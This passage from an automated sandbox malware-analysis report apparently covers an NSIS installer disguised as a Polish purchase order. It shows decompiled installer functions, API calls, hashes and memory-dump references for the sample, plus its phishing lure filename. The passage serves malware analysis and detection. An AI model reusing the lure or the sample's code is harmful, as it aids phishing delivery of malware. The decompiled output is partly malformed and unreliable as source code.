                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: Message$Send$ClientScreen
                                                                                              • String ID: f
                                                                                              • API String ID: 41195575-1993550816
                                                                                              • Opcode ID: 13dcb630cae817d26763a7c5c34c1a537cec2b83c976c16d0abeb4614e4307e4
                                                                                              • Instruction ID: 206dc1e0429e6aa6b627cd25208fa2295557d59b2a7717453fa0c9894da25502
                                                                                              • Opcode Fuzzy Hash: 13dcb630cae817d26763a7c5c34c1a537cec2b83c976c16d0abeb4614e4307e4
                                                                                              • Instruction Fuzzy Hash: E6015276D00259BADB01DB94DC45FFEBBBCAF55711F10412BBA10B61C0C7B4A501CBA5
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00401D38 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38COMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 71%
                                                                                              			E00401D38() {
				void* __esi;
				int _t7;
				signed char _t13;
				struct HFONT__* _t16;
				void* _t20;
				struct HDC__* _t26;
				void* _t28;
				void* _t30;

				_t26 = GetDC( *(_t30 - 8));
				_t7 = GetDeviceCaps(_t26, 0x5a);
				0x40a7f0->lfHeight =  ~(MulDiv(E00402A1D(2), _t7, 0x48));
				ReleaseDC( *(_t30 - 8), _t26);
				 *0x40a800 = E00402A1D(3);
				_t13 =  *((intOrPtr*)(_t30 - 0x18));
				 *0x40a807 = 1;
				 *0x40a804 = _t13 & 0x00000001;
				 *0x40a805 = _t13 & 0x00000002;
				 *0x40a806 = _t13 & 0x00000004;
				E00405D1B(_t20, _t26, _t28, "Calibri",  *((intOrPtr*)(_t30 - 0x24)));
				_t16 = CreateFontIndirectA(0x40a7f0);
				_push(_t16);
				_push(_t28);
				E00405C57();
				 *0x423788 =  *0x423788 +  *((intOrPtr*)(_t30 - 4));
				return 0;
			}











                                                                                              0x00401d41
                                                                                              0x00401d48
                                                                                              0x00401d63
                                                                                              0x00401d68
                                                                                              0x00401d75
                                                                                              0x00401d7a
                                                                                              0x00401d85
                                                                                              0x00401d8c
                                                                                              0x00401d9e
                                                                                              0x00401da4
                                                                                              0x00401da9
                                                                                              0x00401db3
                                                                                              0x00402513
                                                                                              0x00401561
                                                                                              0x00402877
                                                                                              0x004028d2
                                                                                              0x004028de

                                                                                              APIs
                                                                                              • GetDC.USER32(?), ref: 00401D3B
                                                                                              • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D48
                                                                                              • MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D57
                                                                                              • ReleaseDC.USER32(?,00000000), ref: 00401D68
                                                                                              • CreateFontIndirectA.GDI32(0040A7F0), ref: 00401DB3
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: CapsCreateDeviceFontIndirectRelease
                                                                                              • String ID: Calibri
                                                                                              • API String ID: 3808545654-1409258342
                                                                                              • Opcode ID: 7cd5ed8a4b4f09cdd512241ed4d77026764b80ee4c75be1284d7c37bf19adfef
                                                                                              • Instruction ID: 818c9bdddfe1b1fffd76dbb1b88acba4993fd419864b94457e62d7fc32e1ff32
                                                                                              • Opcode Fuzzy Hash: 7cd5ed8a4b4f09cdd512241ed4d77026764b80ee4c75be1284d7c37bf19adfef
                                                                                              • Instruction Fuzzy Hash: FE016232948740AFE7416B70AE1AFAA3FB4A755305F108479F201B72E3C67811569B3F
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 004026C6 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 37%
                                                                                              			E004026C6(void* __ebx) {
				void* _t26;
				long _t31;
				void* _t45;
				void* _t49;
				void* _t51;
				void* _t54;
				void* _t55;
				void* _t56;

				_t45 = __ebx;
				 *((intOrPtr*)(_t56 - 0xc)) = 0xfffffd66;
				_t50 = E00402A3A(0xfffffff0);
				 *(_t56 - 0x38) = _t23;
				if(E004057D8(_t50) == 0) {
					E00402A3A(0xffffffed);
				}
				E00405947(_t50);
				_t26 = E0040596C(_t50, 0x40000000, 2);
				 *(_t56 + 8) = _t26;
				if(_t26 != 0xffffffff) {
					_t31 =  *0x423714;
					 *(_t56 - 0x30) = _t31;
					_t49 = GlobalAlloc(0x40, _t31);
					if(_t49 != _t45) {
						E00403091(_t45);
						E0040307B(_t49,  *(_t56 - 0x30));
						_t54 = GlobalAlloc(0x40,  *(_t56 - 0x20));
						 *(_t56 - 0x34) = _t54;
						if(_t54 != _t45) {
							_push( *(_t56 - 0x20));
							_push(_t54);
							_push(_t45);
							_push( *((intOrPtr*)(_t56 - 0x24)));
							E00402E9F();
							while( *_t54 != _t45) {
								_t47 =  *_t54;
								_t55 = _t54 + 8;
								 *(_t56 - 0x50) =  *_t54;
								E00405927( *((intOrPtr*)(_t54 + 4)) + _t49, _t55, _t47);
								_t54 = _t55 +  *(_t56 - 0x50);
							}
							GlobalFree( *(_t56 - 0x34));
						}
						E00405A13( *(_t56 + 8), _t49,  *(_t56 - 0x30));
						GlobalFree(_t49);
						_push(_t45);
						_push(_t45);
						_push( *(_t56 + 8));
						_push(0xffffffff);
						 *((intOrPtr*)(_t56 - 0xc)) = E00402E9F();
					}
					CloseHandle( *(_t56 + 8));
				}
				_t51 = 0xfffffff3;
				if( *((intOrPtr*)(_t56 - 0xc)) < _t45) {
					_t51 = 0xffffffef;
					DeleteFileA( *(_t56 - 0x38));
					 *((intOrPtr*)(_t56 - 4)) = 1;
				}
				_push(_t51);
				E00401423();
				 *0x423788 =  *0x423788 +  *((intOrPtr*)(_t56 - 4));
				return 0;
			}











                                                                                              0x004026c6
                                                                                              0x004026c8
                                                                                              0x004026d4
                                                                                              0x004026d7
                                                                                              0x004026e1
                                                                                              0x004026e5
                                                                                              0x004026e5
                                                                                              0x004026eb
                                                                                              0x004026f8
                                                                                              0x00402700
                                                                                              0x00402703
                                                                                              0x00402709
                                                                                              0x00402717
                                                                                              0x0040271c
                                                                                              0x00402720
                                                                                              0x00402723
                                                                                              0x0040272c
                                                                                              0x00402738
                                                                                              0x0040273c
                                                                                              0x0040273f
                                                                                              0x00402741
                                                                                              0x00402744
                                                                                              0x00402745
                                                                                              0x00402746
                                                                                              0x00402749
                                                                                              0x00402768
                                                                                              0x00402750
                                                                                              0x00402755
                                                                                              0x0040275d
                                                                                              0x00402760
                                                                                              0x00402765
                                                                                              0x00402765
                                                                                              0x0040276f
                                                                                              0x0040276f
                                                                                              0x0040277c
                                                                                              0x00402782
                                                                                              0x00402788
                                                                                              0x00402789
                                                                                              0x0040278a
                                                                                              0x0040278d
                                                                                              0x00402794
                                                                                              0x00402794
                                                                                              0x0040279a
                                                                                              0x0040279a
                                                                                              0x004027a5
                                                                                              0x004027a6
                                                                                              0x004027aa
                                                                                              0x004027ae
                                                                                              0x004027b4
                                                                                              0x004027b4
                                                                                              0x004027bb
                                                                                              0x004021c4
                                                                                              0x004028d2
                                                                                              0x004028de

                                                                                              APIs
                                                                                              • GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 0040271A
                                                                                              • GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,000000F0), ref: 00402736
                                                                                              • GlobalFree.KERNEL32(?), ref: 0040276F
                                                                                              • GlobalFree.KERNEL32(00000000), ref: 00402782
                                                                                              • CloseHandle.KERNEL32(?,?,?,?,000000F0), ref: 0040279A
                                                                                              • DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 004027AE
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: Global$AllocFree$CloseDeleteFileHandle
                                                                                              • String ID:
                                                                                              • API String ID: 2667972263-0
                                                                                              • Opcode ID: 0f1953924fa823fa64f56edeb7276902427a35836a51b24fa44fe1db59ad754c
                                                                                              • Instruction ID: 55e8cf3ffad71cabca96213aa966ad8f6b0c6824c0bc9dabfeb9c0d6c9f08848
                                                                                              • Opcode Fuzzy Hash: 0f1953924fa823fa64f56edeb7276902427a35836a51b24fa44fe1db59ad754c
                                                                                              • Instruction Fuzzy Hash: 03217C71800124BBCF216FA5DE89EAE7A79EF09324F14023AF950762D1C7795D418FA9
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 004046D3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 77%
                                                                                              			E004046D3(int _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
				char _v36;
				char _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t21;
				signed int _t22;
				void* _t29;
				void* _t31;
				void* _t32;
				void* _t41;
				signed int _t43;
				signed int _t47;
				signed int _t50;
				signed int _t51;
				signed int _t53;

				_t21 = _a16;
				_t51 = _a12;
				_t41 = 0xffffffdc;
				if(_t21 == 0) {
					_push(0x14);
					_pop(0);
					_t22 = _t51;
					if(_t51 < 0x100000) {
						_push(0xa);
						_pop(0);
						_t41 = 0xffffffdd;
					}
					if(_t51 < 0x400) {
						_t41 = 0xffffffde;
					}
					if(_t51 < 0xffff3333) {
						_t50 = 0x14;
						asm("cdq");
						_t22 = 1 / _t50 + _t51;
					}
					_t23 = _t22 & 0x00ffffff;
					_t53 = _t22 >> 0;
					_t43 = 0xa;
					_t47 = ((_t22 & 0x00ffffff) + _t23 * 4 + (_t22 & 0x00ffffff) + _t23 * 4 >> 0) % _t43;
				} else {
					_t53 = (_t21 << 0x00000020 | _t51) >> 0x14;
					_t47 = 0;
				}
				_t29 = E00405D1B(_t41, _t47, _t53,  &_v36, 0xffffffdf);
				_t31 = E00405D1B(_t41, _t47, _t53,  &_v68, _t41);
				_t32 = E00405D1B(_t41, _t47, 0x41fd08, 0x41fd08, _a8);
				wsprintfA(_t32 + lstrlenA(0x41fd08), "%u.%u%s%s", _t53, _t47, _t31, _t29);
				return SetDlgItemTextA( *0x422ed8, _a4, 0x41fd08);
			}



















                                                                                              0x004046d9
                                                                                              0x004046de
                                                                                              0x004046e6
                                                                                              0x004046e7
                                                                                              0x004046f4
                                                                                              0x004046fc
                                                                                              0x004046fd
                                                                                              0x004046ff
                                                                                              0x00404701
                                                                                              0x00404703
                                                                                              0x00404706
                                                                                              0x00404706
                                                                                              0x0040470d
                                                                                              0x00404713
                                                                                              0x00404713
                                                                                              0x0040471a
                                                                                              0x00404721
                                                                                              0x00404724
                                                                                              0x00404727
                                                                                              0x00404727
                                                                                              0x0040472b
                                                                                              0x0040473b
                                                                                              0x0040473d
                                                                                              0x00404740
                                                                                              0x004046e9
                                                                                              0x004046e9
                                                                                              0x004046f0
                                                                                              0x004046f0
                                                                                              0x00404748
                                                                                              0x00404753
                                                                                              0x00404769
                                                                                              0x00404779
                                                                                              0x00404795

                                                                                              APIs
                                                                                              • lstrlenA.KERNEL32(Staalbrylluppets Setup: Installing,Staalbrylluppets Setup: Installing,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004045EE,000000DF,00000000,00000400,-00424000), ref: 00404771
                                                                                              • wsprintfA.USER32 ref: 00404779
                                                                                              • SetDlgItemTextA.USER32(?,Staalbrylluppets Setup: Installing), ref: 0040478C
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: ItemTextlstrlenwsprintf
                                                                                              • String ID: %u.%u%s%s$Staalbrylluppets Setup: Installing
                                                                                              • API String ID: 3540041739-4113607515
                                                                                              • Opcode ID: 7544711cfd2888e06e1ba87e6b8ba603e98340ee2fedd065ee79b71864dce579
                                                                                              • Instruction ID: 079308417c3a62341de1df324b483ce4e469374b9790fc4fe8de96a48b85a08e
                                                                                              • Opcode Fuzzy Hash: 7544711cfd2888e06e1ba87e6b8ba603e98340ee2fedd065ee79b71864dce579
                                                                                              • Instruction Fuzzy Hash: F011A573A0412837EB0065699C45EAF3298DB86374F254637FA25F71D2EA788C5245A8
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 0040393E Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 71COMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E0040393E(void* __ecx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short _t6;
				intOrPtr _t11;
				signed int _t13;
				signed int _t16;
				signed short* _t18;
				signed int _t20;
				signed short* _t23;
				intOrPtr _t25;
				signed int _t26;
				intOrPtr* _t27;

				_t24 = "1033";
				_t13 = 0xffff;
				_t6 = E00405C70(__ecx, "1033");
				while(1) {
					_t26 =  *0x423744;
					if(_t26 == 0) {
						goto L7;
					}
					_t16 =  *( *0x423710 + 0x64);
					_t20 =  ~_t16;
					_t18 = _t16 * _t26 +  *0x423740;
					while(1) {
						_t18 = _t18 + _t20;
						_t26 = _t26 - 1;
						if((( *_t18 ^ _t6) & _t13) == 0) {
							break;
						}
						if(_t26 != 0) {
							continue;
						}
						goto L7;
					}
					 *0x422ee0 = _t18[1];
					 *0x4237a8 = _t18[3];
					_t23 =  &(_t18[5]);
					if(_t23 != 0) {
						 *0x422edc = _t23;
						E00405C57(_t24,  *_t18 & 0x0000ffff);
						SetWindowTextA( *0x41fce8, E00405D1B(_t13, _t24, _t26, 0x422f00, 0xfffffffe));
						_t11 =  *0x42372c;
						_t27 =  *0x423728;
						if(_t11 == 0) {
							L15:
							return _t11;
						}
						_t25 = _t11;
						do {
							_t11 =  *_t27;
							if(_t11 != 0) {
								_t11 = E00405D1B(_t13, _t25, _t27, _t27 + 0x18, _t11);
							}
							_t27 = _t27 + 0x418;
							_t25 = _t25 - 1;
						} while (_t25 != 0);
						goto L15;
					}
					L7:
					if(_t13 != 0xffff) {
						_t13 = 0;
					} else {
						_t13 = 0x3ff;
					}
				}
			}
















                                                                                              0x00403942
                                                                                              0x00403947
                                                                                              0x0040394d
                                                                                              0x00403952
                                                                                              0x00403952
                                                                                              0x0040395a
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00403962
                                                                                              0x0040396a
                                                                                              0x0040396c
                                                                                              0x00403972
                                                                                              0x00403972
                                                                                              0x00403974
                                                                                              0x00403980
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00403984
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00403986
                                                                                              0x0040398b
                                                                                              0x00403994
                                                                                              0x0040399a
                                                                                              0x0040399f
                                                                                              0x004039b3
                                                                                              0x004039be
                                                                                              0x004039d6
                                                                                              0x004039dc
                                                                                              0x004039e1
                                                                                              0x004039e9
                                                                                              0x00403a0a
                                                                                              0x00403a0a
                                                                                              0x00403a0a
                                                                                              0x004039eb
                                                                                              0x004039ed
                                                                                              0x004039ed
                                                                                              0x004039f1
                                                                                              0x004039f8
                                                                                              0x004039f8
                                                                                              0x004039fd
                                                                                              0x00403a03
                                                                                              0x00403a03
                                                                                              0x00000000
                                                                                              0x004039ed
                                                                                              0x004039a1
                                                                                              0x004039a6
                                                                                              0x004039af
                                                                                              0x004039a8
                                                                                              0x004039a8
                                                                                              0x004039a8
                                                                                              0x004039a6

                                                                                              APIs
                                                                                              • SetWindowTextA.USER32(00000000,00422F00), ref: 004039D6
                                                                                              Strings
                                                                                              • 1033, xrefs: 00403942, 0040394C, 004039BD
                                                                                              • "C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe", xrefs: 0040393F
                                                                                              • Staalbrylluppets Setup: Installing, xrefs: 00403941
                                                                                              • Ayp, xrefs: 004039B3
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: TextWindow
                                                                                              • String ID: "C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe"$1033$Ayp$Staalbrylluppets Setup: Installing
                                                                                              • API String ID: 530164218-306200614
                                                                                              • Opcode ID: 244e9df2a614901431107d3dfbb7f61988cd02e76e3af48c4d8827d28496723d
                                                                                              • Instruction ID: 79edc1b1becbb318b5d11430581b7fe373163fbdb48c995140def98ab9010f1e
                                                                                              • Opcode Fuzzy Hash: 244e9df2a614901431107d3dfbb7f61988cd02e76e3af48c4d8827d28496723d
                                                                                              • Instruction Fuzzy Hash: B311F3F1B04611ABCB20DF14DD809737BADEBC4756328823FE941A73A0C67D9D029B98
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 05700D0C Relevance: 8.8, Strings: 7, Instructions: 9COMMON
                                                                                              Download Yara Rule
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14100531174.0000000005700000.00000040.00001000.00020000.00000000.sdmp, Offset: 05700000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_5700000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID: ====$====$====$====$====$====$====
                                                                                              • API String ID: 0-4120872206
                                                                                              • Opcode ID: 06be52f0e6970d5d6ee269b5ae4a374c98007301f05524f09da50c7b92da9f5f
                                                                                              • Instruction ID: 8567664900322958ca605d730c254f1d02c36b08857158d0c992118e58bfbdde
                                                                                              • Opcode Fuzzy Hash: 06be52f0e6970d5d6ee269b5ae4a374c98007301f05524f09da50c7b92da9f5f
                                                                                              • Instruction Fuzzy Hash:
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00401CDE Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E00401CDE(int __edx) {
				void* _t17;
				struct HINSTANCE__* _t21;
				struct HWND__* _t25;
				void* _t27;

				_t25 = GetDlgItem( *(_t27 - 8), __edx);
				GetClientRect(_t25, _t27 - 0x58);
				_t17 = SendMessageA(_t25, 0x172, _t21, LoadImageA(_t21, E00402A3A(_t21), _t21,  *(_t27 - 0x50) *  *(_t27 - 0x20),  *(_t27 - 0x4c) *  *(_t27 - 0x20), 0x10));
				if(_t17 != _t21) {
					DeleteObject(_t17);
				}
				 *0x423788 =  *0x423788 +  *((intOrPtr*)(_t27 - 4));
				return 0;
			}







                                                                                              0x00401ce8
                                                                                              0x00401cef
                                                                                              0x00401d1e
                                                                                              0x00401d26
                                                                                              0x00401d2d
                                                                                              0x00401d2d
                                                                                              0x004028d2
                                                                                              0x004028de

                                                                                              APIs
                                                                                              • GetDlgItem.USER32(?), ref: 00401CE2
                                                                                              • GetClientRect.USER32(00000000,?), ref: 00401CEF
                                                                                              • LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401D10
                                                                                              • SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D1E
                                                                                              • DeleteObject.GDI32(00000000), ref: 00401D2D
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: ClientDeleteImageItemLoadMessageObjectRectSend
                                                                                              • String ID:
                                                                                              • API String ID: 1849352358-0
                                                                                              • Opcode ID: 17232caade98c5884c3b98c25dda3274542a73d841a3bd6b31c87e9b59191b88
                                                                                              • Instruction ID: 14b9f5ff68e8b0ed0f2204d74c17d06140583eb6ed2bbf798243b331d3a4cd3b
                                                                                              • Opcode Fuzzy Hash: 17232caade98c5884c3b98c25dda3274542a73d841a3bd6b31c87e9b59191b88
                                                                                              • Instruction Fuzzy Hash: A9F0E7B2A04114AFEB01ABE4DE88DAFB7BDEB54305B10447AF602F6191C7789D018B79
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00405859 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46stringCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 53%
                                                                                              			E00405859(void* __eflags, intOrPtr _a4) {
				int _t11;
				signed char* _t12;
				intOrPtr _t18;
				intOrPtr* _t21;
				void* _t22;

				E00405CF9(0x421110, _a4);
				_t21 = E00405804(0x421110);
				if(_t21 != 0) {
					E00405F64(_t21);
					if(( *0x423718 & 0x00000080) == 0) {
						L5:
						_t22 = _t21 - 0x421110;
						while(1) {
							_t11 = lstrlenA(0x421110);
							_push(0x421110);
							if(_t11 <= _t22) {
								break;
							}
							_t12 = E00405FFD();
							if(_t12 == 0 || ( *_t12 & 0x00000010) != 0) {
								E004057B2(0x421110);
								continue;
							} else {
								goto L1;
							}
						}
						E0040576B();
						return 0 | GetFileAttributesA(??) != 0xffffffff;
					}
					_t18 =  *_t21;
					if(_t18 == 0 || _t18 == 0x5c) {
						goto L1;
					} else {
						goto L5;
					}
				}
				L1:
				return 0;
			}








                                                                                              0x00405865
                                                                                              0x00405870
                                                                                              0x00405874
                                                                                              0x0040587b
                                                                                              0x00405887
                                                                                              0x00405893
                                                                                              0x00405893
                                                                                              0x004058ab
                                                                                              0x004058ac
                                                                                              0x004058b3
                                                                                              0x004058b4
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00405897
                                                                                              0x0040589e
                                                                                              0x004058a6
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040589e
                                                                                              0x004058b6
                                                                                              0x00000000
                                                                                              0x004058ca
                                                                                              0x00405889
                                                                                              0x0040588d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040588d
                                                                                              0x00405876
                                                                                              0x00000000

                                                                                              APIs
                                                                                                • Part of subcall function 00405CF9: lstrcpynA.KERNEL32(?,?,00000400,00403187,00422F00,NSIS Error), ref: 00405D06
                                                                                                • Part of subcall function 00405804: CharNextA.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,?,00405870,C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,76283410,?,C:\Users\user\AppData\Local\Temp\,004055BB,?,76283410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405812
                                                                                                • Part of subcall function 00405804: CharNextA.USER32(00000000), ref: 00405817
                                                                                                • Part of subcall function 00405804: CharNextA.USER32(00000000), ref: 0040582B
